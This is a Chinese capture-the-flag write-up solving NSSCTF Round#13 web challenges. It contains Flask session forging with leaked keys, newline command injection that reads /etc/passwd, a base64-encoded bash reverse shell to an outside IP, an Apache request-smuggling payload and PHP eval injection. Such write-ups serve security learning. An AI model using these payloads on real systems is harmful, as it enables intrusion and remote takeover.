一点感叹

最近很烦,比赛很简单的题也做不出来天天爆0,估计是基础没打牢吧,重新回去刷基础题

flask?jwt?

注册账号发现admin已经存在,然后随便注册一个账号发现admin才能getFlag,就是伪造session了
在忘记密码发送邮件那里抓包找到key
image-20230604214829222
然后就是伪造session了

1
2
3
python flask_session_cookie_manager3.py decode -s th3f1askisfunny -c "session"

python flask_session_cookie_manager3.py encode -s th3f1askisfunny -t "{'_fresh': True, '_id': '0e382100446e160095f79a16dd0bceddee884c4d84dcc9e53bfb47d206175ad1c5005f21630c2892c78a7e4985b69503704833e18205e6eacc9dbb58aa7b3e85', '_user_id': '1'}"

然后用这个session去getFlag即可

ez_factors

点击Tool发现将114514分解了,使用%0a截断将前面的命令截断后面拼接要执行的命令

1
2
cat /etc/passwd
http://node5.anna.nssctf.cn:28718/factors/114514%0acat%20%2Fetc%2Fpasswd

这里/也要进行url编码,不然会被当做文件目录,执行成功,但是cat /flag出现一堆数字读出来不好读直接反弹shell

1
http://node5.anna.nssctf.cn:28718/factors/114514%0aecho YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjEuNDMuOTkuMTYwLzY2NjYgMD4mMQ==|base64 -d|bash

image-20230604215000673

信息收集

抓个包发现有个Apache/2.4.55web服务器,这个版本有个CVE,参考CVE-2023-25690 Apache HTTP Server 请求走私漏洞 分析与利用 - 先知社区 (aliyun.com)
然后我们读取index.php发现存在任意文件读取

1
2
3
4
5
6
7
<?php  
if(isset($_GET['file'])){
echo file_get_contents($_GET['file']);
}
else{ highlight_file(__FILE__);
}
?>

然后读取/usr/local/apache2/conf/httpd.conf
image-20230604215016705
这里对/nssctf/做了个代理转发,猜测在转发后的机器上,利用crlf漏洞去读取flag,这个payload相当于去请求转发后的机器上的文件

1
/nssctf/0%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/flag.txt

image-20230604215035976

MyWeb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(E_ALL);
// 写了个网页存储JSON数据,但是还不会处理json格式,这样处理应该没有什么问题吧

if ($_GET['mode'] == 'save') {
$data = file_get_contents('/tmp/data.json');
$value = addslashes($_GET['value']);
$data = str_replace(']', ", '$value']", $data);
file_put_contents('/tmp/data.json', $data);
} else if ($_GET['mode'] == 'read') {
$data = file_get_contents('/tmp/data.json');
eval('$data = ' . $data . ';');
print_r($data);
} else {
highlight_file(__FILE__);
}

复现环境出了问题,其实这个题就是把原来的数据给闭合掉就能命令执行了,猜测它储存的json数据格式为[1,2,3,……]

1
2
?mode=save&value=];%0aecho cat /flag;%0a[
?mode=read

方式不止这一个因为环境问题也没去一个个验证了

flask?jwt?(hard)

登录后源码中给了一个/wor路由,访问发现没啥东西,然后把session随便删除点东西页面报错,开启了debug在源码中找到key hardgam3_C0u1d_u_f1ndM3????'
image-20230604215051392
接下来就和前面一样伪造session就行了

1
2
3
4
python flask_session_cookie_manager3.py decode -s hardgam3_C0u1d_u_f1ndM3???? -c "session"

python flask_session_cookie_manager3.py encode -s hardgam3_C0u1d_u_f1ndM3???? -t "{'_fresh': True, '_id': '0e382100446e160095f79a16dd0bceddee884c4d84dcc9e53bfb47d206175ad1c5005f21630c2892c78a7e4985b69503704833e18205e6eacc9dbb58aa7b3e85', '_user_id': '1'}"
//伪造的时候把time删除,不然会报错

TimeTrcer

0解题,看了wp有点难,不想复现了
wp:https://gtg.ink/2023/06/NSSCTFround13WP-TimeTrcer/

参考:
NSSCTF Round#13 web专项 - F12~ - 博客园 (cnblogs.com)
NSSCTFRound#13 Web · ph0ebus’s Blog